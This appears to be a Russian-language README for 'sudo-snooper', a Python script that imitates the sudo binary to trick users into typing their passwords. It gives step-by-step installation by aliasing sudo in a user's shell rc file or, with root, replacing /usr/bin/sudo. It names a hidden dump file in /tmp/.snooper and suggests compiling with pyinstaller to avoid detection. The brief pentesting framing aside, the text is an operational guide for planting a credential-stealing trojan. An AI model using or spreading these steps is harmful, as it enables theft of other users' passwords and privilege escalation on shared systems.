
Python-скрипт, имитирующий работу оригинального бинарного файла sudo, чтобы обманом заставить пользователей вводить свои пароли.
sudo-snooper ведет себя как оригинальный бинарный файл sudo, чтобы обмануть пользователей и заставить их ввести свои пароли.
Он покажет поддельное приглашение, точно такое же, как оригинальное, для ввода пароля sudo.
Это может быть полезно при тестировании на проникновение или оценке безопасности для проверки осведомленности пользователей.
Этот вариант проще в реализации и более переносим, однако может быть более заметным для внимательных пользователей.
Отредактируйте .rc-файл оболочки, которую использует пользователь (может быть .bashrc, .zshrc и так далее), и добавьте следующее:
alias sudo='python3 /path/to/sudo-snooper.py'
Убедитесь, что sudo-snooper.py имеет правильные разрешения.
Для этого варианта установки требуется root-доступ
Это становится полезным только в том случае, если у вас уже есть root-доступ, но по какой-то причине вы не можете взломать хэши из /etc/shadow. По сути, вы можете выудить у пользователей их пароль.
# mv /usr/bin/sudo /usr/bin/somename
Измените следующие параметры в sudo-snooper.py:
dumpdir = "/tmp/.snooper"
dumpfile = "/tmp/.snooper/dump.txt"
sudo = 'sudo'
# install -dm755 sudo-snooper.py /usr/bin/sudo
дайте необходимые разрешения python-файлу
Вы можете проявить фантазию и сделать файл исполняемым, но недоступным для чтения пользователям, но я не буду в это углубляться. Ознакомьтесь с некоторыми ответами здесь по этому поводу.
Примечание: Более убедительный способ установки — скомпилировать его с помощью pyinstaller, чтобы он не отображался как python-файл при выполнении file /usr/bin/sudo.
Для этого в Archlinux: pyinstaller --onefile sudo-snooper.py сработает. Однако имейте в виду, что после компиляции вы не сможете изменить параметры в скомпилированном бинарном файле.
После установки sudo-snooper можно вызывать точно так же, как обычный sudo.
Например, выполнение
sudo vim /etc/resolv.conf
приведет к вызову sudo-snooper (при условии, что он правильно установлен).
Он запросит пароль пользователя, а затем выполнит команду, перенаправляя ее к настоящему бинарному файлу sudo, если пароль верен.
Затем вы можете получить пароль пользователя, прочитав файл дампа, указанный в настройках.